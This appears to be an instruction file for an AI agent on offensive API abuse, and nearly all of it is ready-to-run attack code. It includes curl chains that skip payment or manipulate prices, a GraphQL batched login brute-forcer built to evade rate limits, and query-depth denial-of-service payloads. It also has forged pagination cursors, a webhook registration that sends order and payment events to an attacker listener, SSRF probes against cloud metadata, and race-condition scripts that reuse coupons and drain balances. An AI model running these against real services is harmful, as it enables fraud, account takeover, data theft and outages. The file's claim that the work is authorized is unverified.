offensive-api-abuse

# Offensive API Abuse and Advanced Exploitation You are conducting authorized security assessments targeting the business logic layer of API-driven applications. Traditional vulnerability scanners miss the attack patterns in this skill because they require understanding of application workflows, state transitions, and trust relationships between API endpoints. Your goal is to identify vulnerabilities that allow financial manipulation, data exfiltration through legitimate channels, privilege escalation via workflow abuse, and service disruption through logic-layer attacks. ## Quick Workflow 1. Map the complete API surface including undocumented endpoints using Arjun, ParamSpider, and manual discovery. 2. Model the business workflows: identify multi-step transactions, state machines, and trust chains between endpoints. 3. Test each workflow for race conditions using parallel request techniques. 4. Extract and analyze JWTs for algorithm confusion, weak signing, and claim injection opportunities. 5. If GraphQL is present, test batching for brute-force amplification, query depth for DoS, and introspection for schema leakage. 6. Probe pagination for data enumeration and exfiltration opportunities. 7. Test webhook configurations for SSRF and callback hijacking. 8. Search for API key leakage in client code, error responses, and public repositories. 9. Verify all discovered endpoints for authorization consistency. 10. Document business impact for each finding with financial or operational consequence estimates. --- ## Business Logic Bypass via API Chaining Business logic vulnerabilities emerge when individual API endpoints are secure in isolation but the workflow connecting them has exploitable gaps. You identify these by mapping the intended transaction flow and then deviating from it. ```bash # E-commerce checkout bypass # Normal flow: add_to_cart -> apply_coupon -> calculate_total -> pay -> confirm # Attack: skip payment and go directly to confirm curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"product_id": "PROD-001", "quantity": 1}' \ "https://target.example.com/api/v1/cart/items" | jq . curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"coupon_code": "SAVE20"}' \ "https://target.example.com/api/v1/cart/coupon" | jq . # Skip payment -- attempt direct order confirmation curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"cart_id": "CART-12345"}' \ "https://target.example.com/api/v1/orders/confirm" | jq . ``` ```bash # Price manipulation: add expensive item for free shipping, calculate, remove it curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"product_id": "EXPENSIVE-001", "quantity": 1}' \ "https://target.example.com/api/v1/cart/items" curl -s -X POST -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/cart/calculate" curl -s -X DELETE -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/cart/items/EXPENSIVE-001" curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"payment_method": "card_on_file"}' \ "https://target.example.com/api/v1/cart/pay" ``` ```bash # State manipulation, negative quantities, currency confusion curl -s -X PATCH -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"status": "pending"}' \ "https://target.example.com/api/v1/orders/ORD-5001" curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"product_id": "PROD-001", "quantity": -1}' \ "https://target.example.com/api/v1/cart/items" curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"amount": 100, "currency": "IDR"}' \ "https://target.example.com/api/v1/payments" ``` --- ## GraphQL Batching and Abuse GraphQL APIs introduce unique attack surfaces through query batching, introspection, and nested query execution that bypass rate limiting and authorization controls. ```bash # Full introspection query -- extract types and mutations curl -s -X POST -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"query": "{ __schema { types { name kind fields { name type { name kind ofType { name } } } } } }"}' \ "https://target.example.com/graphql" | jq '.data.__schema.types[] | select(.kind == "OBJECT")' curl -s -X POST -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"query": "{ __schema { mutationType { fields { name args { name type { name kind } } } } } }"}' \ "https://target.example.com/graphql" | jq '.data.__schema.mutationType.fields[].name' ``` Batching for brute-force amplification -- send multiple authentication attempts in a single HTTP request to bypass per-request rate limiting: ```python #!/usr/bin/env python3 """GraphQL batching for authentication brute-force amplification.""" import requests, json, sys TARGET = "https://target.example.com/graphql" BATCH_SIZE = 50 def run_batch_brute(email, wordlist_path): with open(wordlist_path) as f: passwords = [line.strip() for line in f if line.strip()] for i in range(0, len(passwords), BATCH_SIZE): batch = passwords[i:i + BATCH_SIZE] payload = [ {"query": f'mutation a{j} {{ login(email: "{email}", password: "{pwd}") {{ token success }} }}'} for j, pwd in enumerate(batch) ] resp = requests.post(TARGET, json=payload, headers={"Content-Type": "application/json"}) if resp.status_code == 429: print(f"[!] Rate limited at batch index {i}") break for j, result in enumerate(resp.json()): if result.get("data", {}).get("login", {}).get("success"): print(f"[+] Valid: {email}:{batch[j]}") return print(f" Batch {i // BATCH_SIZE + 1}: {len(batch)} attempts in 1 request") if __name__ == "__main__": run_batch_brute(sys.argv[1], sys.argv[2]) ``` ```bash # Query depth exploitation for denial of service curl -s -X POST -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"query": "{ users { posts { comments { author { posts { comments { author { posts { comments { author { name } } } } } } } } } } }"}' \ "https://target.example.com/graphql" # Field duplication for response amplification curl -s -X POST -H "Content-Type: application/json" \ -H "Authorization: Bearer $TOKEN" \ -d '{"query": "{ a1: users { name email } a2: users { name email } a3: users { name email } a4: users { name email } a5: users { name email } a6: users { name email } a7: users { name email } a8: users { name email } a9: users { name email } a10: users { name email } }"}' \ "https://target.example.com/graphql" ``` --- ## Pagination Exploitation Pagination mechanisms can leak total record counts, expose data through cursor manipulation, and allow complete database enumeration when not properly constrained. ```bash # Probe pagination boundaries and abuse page size curl -s -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/users?page=1&per_page=1" | \ jq '{total: .total, total_pages: .total_pages, current_page: .page}' curl -s -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/users?page=1&per_page=999999" | jq 'length' curl -s -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/users?page=-1&per_page=100" | jq . ``` ```bash # Cursor-based pagination manipulation echo "eyJpZCI6MTAwMX0=" | base64 -d # Decode cursor: {"id":1001} # Forge a cursor to access arbitrary records forged_cursor=$(echo -n '{"id":1}' | base64 -w0) curl -s -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/users?cursor=${forged_cursor}&limit=100" | jq . # Sort and filter parameter injection curl -s -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/users?sort=password&order=asc" | jq . curl -s -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/users?filter[role]=admin" | jq . ``` --- ## Webhook Hijacking and SSRF Webhook configurations allow you to redirect server-initiated callbacks to attacker-controlled endpoints, enabling data interception and SSRF. ```bash # Register a webhook pointing to your controlled server curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "url": "https://attacker-listener.example.com/webhook", "events": ["user.created", "order.completed", "payment.received"], "secret": "attacker_secret" }' "https://target.example.com/api/v1/webhooks" | jq . # List existing webhooks to discover internal URLs curl -s -H "Authorization: Bearer $TOKEN" \ "https://target.example.com/api/v1/webhooks" | jq '.[] | {id, url, events}' ``` ```bash # Webhook SSRF: point webhook URL to internal services internal_targets=( "http://127.0.0.1:8080/admin" "http://169.254.169.254/latest/meta-data/" "http://internal-api.local:3000/health" "http://elasticsearch.internal:9200/_cat/indices" ) for target_url in "${internal_targets[@]}"; do resp=$(curl -s -X POST -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d "{\"url\": \"${target_url}\", \"events\": [\"test.ping\"]}" \ "https://target.example.com/api/v1/webhooks") echo "Target: ${target_url} -> $(echo "$resp" | head -c 200)" done ``` --- ## Race Conditions in API Transactions Race conditions occur when APIs fail to properly serialize concurrent requests against shared state. You exploit these to duplicate transactions, bypass limits, or corrupt state. ```python #!/usr/bin/env python3 """Race condition testing for API transaction abuse.""" import asyncio, aiohttp TARGET = "https://target.example.com/api/v1" TOKEN = "YOUR_TOKEN" HEADERS = {"Authorization": f"Bearer {TOKEN}", "Content-Type": "application/json"} async def send_request(session, url, data=None): async with session.post(url, json=data, headers=HEADERS) as resp: body = await resp.json() return {"status": resp.status, "body": body} async def race_coupon_redeem(coupon_code, n=20): """Redeem a single-use coupon multiple times via race condition.""" async with aiohttp.ClientSession() as session: tasks = [send_request(session, f"{TARGET}/cart/coupon", {"coupon_code": coupon_code}) for _ in range(n)] results = await asyncio.gather(*tasks) successes = [r for r in results if r["status"] == 200] print(f"[+] Coupon '{coupon_code}' redeemed {len(successes)}/{n} times") async def race_balance_transfer(n=20): """Drain account by sending parallel transfers exceeding balance.""" async with aiohttp.ClientSession() as session: tasks = [send_request(session, f"{TARGET}/transfers", {"to_account": "ATTACKER-ACCT", "amount": 100, "currency": "USD"}) for _ in range(n)] results = await asyncio.gather(*tasks) successes = [r for r in results if r["status"] in (200, 201)] total = sum(r["body"].get("amount", 0) for r in successes) print(f"[+] Transfers succeeded: {len(successes)}/{n}, total: {total}") if __name__ == "__main__": asyncio.run(race_coupon_redeem("SINGLE-USE-COUPON")) asyncio.run(race_balance_transfer()) ```